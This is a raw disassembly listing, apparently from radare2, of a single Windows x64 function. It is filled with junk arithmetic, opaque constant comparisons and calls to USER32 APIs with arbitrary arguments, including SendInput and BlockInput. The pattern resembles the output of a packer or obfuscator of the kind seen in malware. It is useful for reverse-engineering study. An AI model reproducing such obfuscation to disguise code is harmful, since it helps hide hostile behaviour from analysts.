mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
mov rax, qword [rsp + 0x37f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4c8]
sub eax, ecx
mov word [0x1400c9008], ax
mov rax, qword [rsp + 0x38e0]
mov rcx, qword [rsp + 0x3648]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x35a0], rax
mov rax, qword [rsp + 0x3940]
mov rcx, qword [rsp + 0x38a8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3940]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x1978]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x19bc], eax
mov rax, qword [rsp + 0x3890]
mov rcx, qword [rsp + 0x3638]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1af4], eax
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4c8]
add eax, ecx
mov rcx, qword [rsp + 0x3820]
mov word [rcx], ax
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov rcx, qword [rsp + 0x3818]
mov byte [rcx], al
mov rax, qword [rsp + 0x3738]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4e4]
add eax, ecx
mov word [rsp + 0x4dc], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x1a9c], eax
mov rax, qword [rsp + 0x3818]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3740]
mov byte [rcx], al
mov rax, qword [rsp + 0x3868]
movzx eax, byte [rax]
mov rcx, qword [0x1400c9e98]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1400c9e90], al
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1ad4]
shr eax, cl
mov dword [rsp + 0x1a80], eax
jmp 0x1400097a8
mov eax, dword [rsp + 0x1978]
mov rcx, qword [rsp + 0x38e8]
mov qword [rsp + 0x39a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x39a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x37b0]
mov rdx, qword [rsp + 0x3960]
mov edx, dword [rdx]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jle 0x140009da0
movsx eax, byte [rsp + 0x53]
movsx ecx, byte [rsp + 0x50]
sub eax, ecx
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4dc]
sub eax, ecx
mov word [rsp + 0x4e4], ax
movzx eax, word [rsp + 0x4d0]
movzx ecx, word [rsp + 0x4c8]
and eax, ecx
mov rcx, qword [rsp + 0x3820]
mov word [rcx], ax
mov rax, qword [rsp + 0x3840]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
shl eax, cl
mov rcx, qword [rsp + 0x3840]
mov byte [rcx], al
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1980]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1978], eax
mov rax, qword [rsp + 0x37b8]
mov qword [rsp + 0xd818], rax
movabs rax, 0x74bb473cac57ec
cmp qword [rsp + 0xd818], rax
je 0x1400a669a
jmp 0x1400a66b7
mov rax, qword [rsp + 0x3890]
mov ecx, dword [rsp + 0x19b8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3890]
mov dword [rcx], eax
mov r8d, 0xd6
mov rdx, qword [rsp + 0x3678]
mov rcx, qword [rsp + 0x3760]
call qword [sym.imp.USER32.dll_GetClassNameW]
mov dword [rsp + 0x1980], eax
mov rax, qword [rsp + 0x35a0]
mov rcx, qword [rsp + 0x37b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
mov rdx, qword [rsp + 0x35a0]
mov rax, qword [rsp + 0x3890]
mov ecx, dword [rax]
call fcn.1400a8950
call fcn.1400a7770
jmp 0x1400a6785
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
sar eax, cl
movsx ecx, byte [rsp + 0x51]
mov dword [rsp + 0x3578], ecx
movsx edx, byte [0x1400c9e91]
movzx ecx, dl
mov edx, dword [rsp + 0x3578]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x1400a6785
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1a80]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x19b8], eax
mov rdx, qword [rsp + 0x3948]
mov rcx, qword [rsp + 0x3950]
call qword [sym.imp.USER32.dll_ChildWindowFromPoint]
mov qword [rsp + 0xd800], rax
mov rax, qword [rsp + 0x3688]
movzx ecx, word [rax]
call fcn.1400a7ed0
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
sar eax, cl
movsx ecx, byte [rsp + 0x50]
movsx edx, byte [rsp + 0x51]
or ecx, edx
cmp eax, ecx
jl 0x1400a6803
movabs rax, 0x759055fea9e898
mov rcx, qword [0x1400c9010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
xor r8d, r8d
lea rdx, [rsp + 0xd820]
mov rcx, qword [rsp + 0x3950]
call qword [sym.imp.USER32.dll_InvalidateRect]
mov dword [rsp + 0x1a54], eax
call fcn.1400a7770
jmp 0x1400a6851
movsx eax, word [rsp + 0x4c4]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x3790]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jg 0x1400a6851
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1994]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
jmp 0x1400a68cb
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
sub eax, ecx
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
movsx edx, word [section..data]
sub ecx, edx
cmp eax, ecx
je 0x1400a68cb
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [0x1400c9e91]
shl eax, cl
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0x20], rax
movzx r9d, word [rsp + 0x4cc]
mov rax, qword [rsp + 0x37f0]
movzx r8d, word [rax]
mov edx, dword [rsp + 0x1978]
movzx ecx, byte [rsp + 0x52]
call fcn.1400a87f0
mov rax, qword [rsp + 0x37f0]
movzx eax, word [rax]
mov dword [rsp + 0x357c], eax
cmp dword [rsp + 0x357c], 0xd45
je 0x1400a6900
cmp dword [rsp + 0x357c], 0xedf
je 0x1400a69ed
jmp 0x1400a6a0a
mov rax, qword [rsp + 0x37b8]
mov rcx, qword [rsp + 0x3748]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3648]
mov rdx, qword [rsp + 0x35a0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jle 0x1400a69bd
mov r8d, 0xfa
lea rdx, [rsp + 0x35c0]
mov ecx, 0x74
call qword [sym.imp.USER32.dll_SendInput]
mov dword [rsp + 0x19cc], eax
mov rcx, qword [rsp + 0x3780]
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rsp + 0x1a54], eax
lea rax, [rsp + 0xe990]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x35f0]
mov qword [rsp + 0x20], rax
mov r9d, 0x41
mov r8d, 0x73
mov edx, 0xd
mov rcx, qword [rsp + 0x35c8]
call qword [sym.imp.USER32.dll_TrackPopupMenuEx]
mov dword [rsp + 0x3580], eax
mov rdx, qword [rsp + 0x35a0]
mov ecx, dword [rsp + 0x1a48]
call fcn.1400a8950
mov rax, qword [rsp + 0x3790]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c4]
sub eax, ecx
mov rcx, qword [rsp + 0x3738]
mov word [rcx], ax
movzx eax, byte [0x1400c9e90]
add eax, 0x10
mov byte [rsp + 0x52], al
jmp 0x1400a6a0a
movzx eax, word [rsp + 0x4d0]
mov rcx, qword [rsp + 0x37f0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x4cc], ax
mov eax, dword [rsp + 0x1978]
mov ecx, dword [rsp + 0x1980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x37b0]
mov edx, dword [rsp + 0x19bc]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jg 0x1400a6a6c
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4c8]
add eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
mov rdx, qword [rsp + 0x3748]
mov ecx, dword [rsp + 0x1a48]
call fcn.1400a8950
jmp 0x1400a6b82
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a48]
and ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x19b8]
mov edx, dword [rsp + 0x19cc]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x1400a6b82
movabs rax, 0x766027b5d259e1
mov rcx, qword [0x1400c9010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov eax, dword [rsp + 0x1a48]
mov dword [rsp + 0x3584], eax
cmp dword [rsp + 0x3584], 0xa681
je 0x1400a6ada
jmp 0x1400a6b63
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1a80]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x19b8]
mov edx, dword [rsp + 0x19cc]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jae 0x1400a6b24
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19b8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1994], eax
call fcn.1400a7770
jmp 0x1400a6b61
movabs rax, 0x774bbb4b7713fe
mov rcx, qword [rsp + 0x3608]
xor rcx, rax
mov rax, rcx
cmp rax, qword [0x1400c9010]
je 0x1400a6b61
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
jmp 0x1400a6b82
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
and eax, ecx
mov word [section..data], ax
mov rcx, qword [rsp + 0x3670]
call qword [sym.imp.USER32.dll_GetKeyboardLayoutNameW]
mov dword [rsp + 0x1a54], eax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1994]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1a80], eax
mov dword [rsp + 0x20], 0
mov r9d, 0x67
mov r8d, 0x51
mov edx, 0x22
mov rcx, qword [rsp + 0x3760]
call qword [sym.imp.USER32.dll_SetScrollRange]
mov dword [rsp + 0x1ac4], eax
jmp 0x1400a6c5b
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov dword [rsp + 0x3588], eax
cmp dword [rsp + 0x3588], 0x8409
je 0x1400a6c1f
jmp 0x1400a6c3c
movzx eax, word [rsp + 0x4cc]
movzx ecx, word [rsp + 0x4c8]
add eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x19cc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1a48], eax
call fcn.1400a7770
mov rax, qword [rsp + 0x37b8]
mov rcx, qword [rsp + 0x3748]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3648]
mov rdx, qword [rsp + 0x35a0]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x1400a6c91
call fcn.1400a7770
mov rcx, qword [rsp + 0x3660]
call qword [sym.imp.USER32.dll_CopyIcon]
mov qword [rsp + 0xd828], rax
movzx eax, word [rsp + 0x4cc]
movzx ecx, word [rsp + 0x4d0]
sub eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
jmp 0x1400a6e03
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov dword [rsp + 0x358c], eax
cmp dword [rsp + 0x358c], 0x7d17
je 0x1400a6cfd
cmp dword [rsp + 0x358c], 0xce46
je 0x1400a6dea
jmp 0x1400a6e03
mov eax, dword [rsp + 0x1980]
mov rcx, qword [rsp + 0x3640]
mov qword [rsp + 0xd830], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd830]
mov eax, dword [rax]
sar eax, cl
mov ecx, dword [rsp + 0x1978]
mov edx, dword [rsp + 0x19bc]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x1400a6dc5
lea rax, [rsp + 0x3600]
mov qword [rsp + 0x20], rax
mov r9d, 0x6f
mov r8d, 0xbd
mov rdx, qword [rsp + 0x3670]
mov rcx, qword [rsp + 0xd820]
call qword [sym.imp.USER32.dll_GetTabbedTextExtentW]
mov dword [rsp + 0x1994], eax
movsx eax, byte [0x1400c9e91]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0x20], rax
movzx r9d, word [rsp + 0x4c8]
mov rax, qword [rsp + 0x3730]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x3640]
mov edx, dword [rax]
movzx ecx, byte [0x1400c9e90]
call fcn.1400a87f0
jmp 0x1400a6de8
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3790]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
jmp 0x1400a6e03
mov rax, qword [rsp + 0x3638]
mov ecx, dword [0x1400c9004]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1a48], eax
movzx eax, word [rsp + 0x4d0]
movzx ecx, word [rsp + 0x4c8]
or eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x19bc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1980], eax
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4cc]
sub eax, ecx
mov word [rsp + 0x4d0], ax
jmp 0x1400a6edc
mov eax, dword [rsp + 0x19bc]
mov dword [rsp + 0x3590], eax
cmp dword [rsp + 0x3590], 0x1b02
je 0x1400a6ed7
cmp dword [rsp + 0x3590], 0x77cf
je 0x1400a6e86
jmp 0x1400a6edc
movzx eax, byte [0x1400c9e90]
sub eax, 0xc0
mov byte [0x1400c9e90], al
lea rdx, [rsp + 0x1980]
mov rcx, qword [rsp + 0x35b8]
call qword [sym.imp.USER32.dll_SetWindowPlacement]
mov dword [rsp + 0x1ac8], eax
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4c8]
sub eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
jmp 0x1400a6edc
call fcn.1400a7770
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4cc]
sub eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
mov rax, qword [rsp + 0x3748]
mov rcx, qword [rsp + 0x3648]
add rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x35a0]
je 0x1400a7054
movzx eax, byte [0x1400c9e90]
mov byte [rsp + 0x3594], al
cmp byte [rsp + 0x3594], 0x93
je 0x1400a6f3d
jmp 0x1400a7032
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x4c4], ax
mov rax, qword [rsp + 0x3648]
movzx ecx, al
mov rax, qword [rsp + 0x35a0]
sar rax, cl
cmp rax, qword [rsp + 0x3748]
jl 0x1400a6fe3
mov dword [rsp + 0x20], 0xa2
mov r9, qword [rsp + 0x36d8]
lea r8, [rsp + 0x1a54]
mov edx, 0x63
mov rcx, qword [rsp + 0x3760]
call qword [sym.imp.USER32.dll_GetAltTabInfoW]
mov dword [rsp + 0x1a44], eax
mov eax, dword [rsp + 0x1980]
mov ecx, dword [rsp + 0x19bc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1a48]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1994], eax
jmp 0x1400a7030
movsx eax, word [rsp + 0x4c4]
mov rcx, qword [rsp + 0x3738]
movsx ecx, word [rcx]
shl eax, cl
movsx ecx, word [section..data]
mov rdx, qword [rsp + 0x3790]
movsx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jle 0x1400a7030
movabs rax, 0x76f9808c61b800
mov rcx, qword [rsp + 0x3608]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
jmp 0x1400a7052
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4cc]
and eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
jmp 0x1400a70ab
mov rax, qword [rsp + 0x3730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4cc]
add eax, ecx
movzx ecx, word [rsp + 0x4c8]
movzx edx, word [rsp + 0x4d0]
sub ecx, edx
cmp eax, ecx
jl 0x1400a70ab
mov r9, qword [rsp + 0x3648]
mov rax, qword [rsp + 0x3600]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x3730]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x4c8]
call fcn.1400a8030
jmp 0x1400a7183
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0xd838], rax
movabs rax, 0x7b71e1d38d6dff
cmp qword [rsp + 0xd838], rax
je 0x1400a70d6
jmp 0x1400a7137
mov rax, qword [rsp + 0x3740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3600]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
mov r8w, 3
mov edx, 0x10
mov rcx, qword [rsp + 0x3760]
call qword [sym.imp.USER32.dll_SetClassWord]
mov word [rsp + 0x4d0], ax
mov rax, qword [rsp + 0x3738]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3738]
mov word [rcx], ax
jmp 0x1400a7183
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3740]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
movabs rax, 0x7c479a558831fc
mov rcx, qword [rsp + 0x3608]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
mov rax, qword [rsp + 0x3688]
movzx ecx, word [rax]
call fcn.1400a7ed0
movzx eax, byte [0x1400c9e90]
cmp eax, 0xf5
jge 0x1400a71d0
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [section..data]
add eax, ecx
mov rcx, qword [rsp + 0x3688]
mov word [rcx], ax
mov r8d, 1
mov edx, 7
mov rcx, qword [rsp + 0x35c0]
call qword [sym.imp.USER32.dll_ShowScrollBar]
mov dword [rsp + 0x1a44], eax
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x1978]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1980], eax
movzx eax, word [rsp + 0x4c8]
movzx ecx, word [rsp + 0x4cc]
add eax, ecx
mov rcx, qword [rsp + 0x3730]
mov word [rcx], ax
movzx eax, word [rsp + 0x4c8]
movzx ecx, word [rsp + 0x4cc]
add eax, ecx
mov word [rsp + 0x4d0], ax
jmp 0x1400a72f1
mov rax, qword [rsp + 0x3638]
mov ecx, dword [rsp + 0x1a48]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov dword [rsp + 0x3598], eax
cmp dword [rsp + 0x3598], 0xbf6a
je 0x1400a7263
jmp 0x1400a72d7
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x19bc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1978], eax
movabs rax, 0x7e75ce3f304c2c
mov rcx, qword [rsp + 0x35a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
shl eax, cl
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
movsx eax, word [section..data]
mov rcx, qword [rsp + 0x3688]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x4c4], ax
jmp 0x1400a72f1
mov edx, 1
mov rcx, qword [rsp + 0x3630]
call qword [sym.imp.USER32.dll_ShowOwnedPopups]
mov dword [rsp + 0x1a54], eax
mov r9, qword [rsp + 0x35a0]
movzx r8d, byte [rsp + 0x50]
movzx edx, word [rsp + 0x4c8]
movzx ecx, word [rsp + 0x4c8]
call fcn.1400a8030
mov rax, qword [rsp + 0x3688]
movsx eax, word [rax]
movsx ecx, word [section..data]
or eax, ecx
mov word [rsp + 0x4c4], ax
mov eax, dword [rsp + 0x1a48]
mov ecx, dword [rsp + 0x19b8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
jmp 0x1400a737b
mov eax, dword [rsp + 0x1994]
mov rcx, qword [rsp + 0x3638]
mov qword [rsp + 0xd840], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd840]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x19cc], eax
mov rax, qword [rsp + 0x35a0]
mov qword [rsp + 0xd848], rax
movabs rax, 0x7df2fbf2d26f8e
cmp qword [rsp + 0xd848], rax
je 0x1400a73a3
jmp 0x1400a73c0
lea rdx, [rsp + 0xd850]
mov rcx, qword [rsp + 0x3630]
call qword [sym.imp.USER32.dll_GetComboBoxInfo]
mov dword [rsp + 0x1a3c], eax
movabs rax, 0x7a1c7e82d0a370
mov rcx, qword [rsp + 0x3608]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3608], rax
movsx eax, byte [rsp + 0x50]
xor eax, 0x17
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0xd858], rax
movabs rax, 0x78459d02392777
cmp qword [rsp + 0xd858], rax
je 0x1400a742c
movabs rax, 0x7aa53096ccb46a
cmp qword [rsp + 0xd858], rax
je 0x1400a748f
jmp 0x1400a7494
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1980]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1978]
mov edx, dword [rsp + 0x19bc]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x1400a7469
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
mov dword [rsp + 0x1998], eax
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
sub eax, 0x17
mov byte [rsp + 0x50], al
movsx eax, byte [rsp + 0x50]
add eax, 0x71
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
jmp 0x1400a7494
call fcn.1400a7770
jmp 0x1400a7536
mov rax, qword [rsp + 0x3638]
mov eax, dword [rax]
mov dword [rsp + 0x359c], eax
cmp dword [rsp + 0x359c], 0xf23
je 0x1400a74b9
jmp 0x1400a7504
movabs rax, 0x74991d8f15c409
mov rcx, qword [rsp + 0x35a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3648], rax
movsx eax, byte [rsp + 0x50]
and eax, 0x41
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov eax, dword [rsp + 0x19b8]
mov ecx, dword [rsp + 0x1994]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x19cc], eax
mov rax, qword [rsp + 0x3640]
mov ecx, dword [rsp + 0x1978]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3640]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x35f0]
call qword [sym.imp.USER32.dll_LockWindowUpdate]
mov dword [rsp + 0x1990], eax
movsx eax, word [section..data]
add eax, 0x5f
mov word [rsp + 0x4c4], ax
movabs rax, 0x73b8d570c0533d
mov rcx, qword [rsp + 0x35a0]
imul rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x3648]
je 0x1400a766d
mov rax, qword [rsp + 0x3648]
mov qword [rsp + 0xd860], rax
movabs rax, 0x79b6eec8c28d89
cmp qword [rsp + 0xd860], rax
je 0x1400a7598
jmp 0x1400a7657
movzx eax, byte [0x1400c9e90]
and eax, 0xb1
mov byte [0x1400c9e90], al
movabs rax, 0x797aa1d173c71d
mov rcx, qword [rsp + 0x3608]
xor rcx, rax
mov rax, rcx
movabs rcx, 0x7762a8dd40365a
cmp rax, rcx
jb 0x1400a7616
call qword [sym.imp.USER32.dll_GetCursor]
mov qword [rsp + 0xd850], rax
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0x20], rax
movzx r9d, word [rsp + 0x4c8]
movzx r8d, word [rsp + 0x4c8]
mov rax, qword [rsp + 0x3640]
mov edx, dword [rax]
movzx ecx, byte [0x1400c9e90]
call fcn.1400a87f0
jmp 0x1400a7655
movzx eax, word [rsp + 0x4c8]
cmp eax, 0xc68
je 0x1400a7655
mov eax, dword [rsp + 0x19b8]
mov rcx, qword [rsp + 0x3638]
mov qword [rsp + 0xd868], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd868]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
jmp 0x1400a766b
mov rax, qword [rsp + 0x3608]
shr rax, 0x3a
mov qword [rsp + 0x3608], rax
jmp 0x1400a7686
mov eax, dword [rsp + 0x19cc]
mov ecx, dword [rsp + 0x1994]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x19b8], eax
mov rax, qword [rsp + 0x3608]
mov qword [rsp + 0xd870], rax
movabs rax, 0x7a3050c06699ac
cmp qword [rsp + 0xd870], rax
je 0x1400a76c0
movabs rax, 0x7d3598bc4a4587
cmp qword [rsp + 0xd870], rax
je 0x1400a76d7
jmp 0x1400a76f3
mov rcx, qword [rsp + 0x35b8]
call qword [sym.imp.USER32.dll_IsIconic]
mov dword [rsp + 0x1a44], eax
jmp 0x1400a76f3
mov rax, qword [rsp + 0x3600]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
add eax, ecx
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov eax, dword [rsp + 0x19b8]
mov ecx, dword [rsp + 0x1994]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3638]
mov dword [rcx], eax
movsx eax, word [rsp + 0x4c4]
shl eax, 3
mov word [section..data], ax
movzx eax, word [rsp + 0x4c8]
add eax, 0xd9d
mov word [rsp + 0x4c8], ax
movsx eax, byte [rsp + 0x50]
and eax, 0xd
mov rcx, qword [rsp + 0x3600]
mov byte [rcx], al
mov rax, qword [rsp + 0x3640]
mov eax, dword [rax]
mov dword [rsp + 0x19bc], eax
mov eax, dword [rsp + 0x22ec]
add rsp, 0x12ed8
ret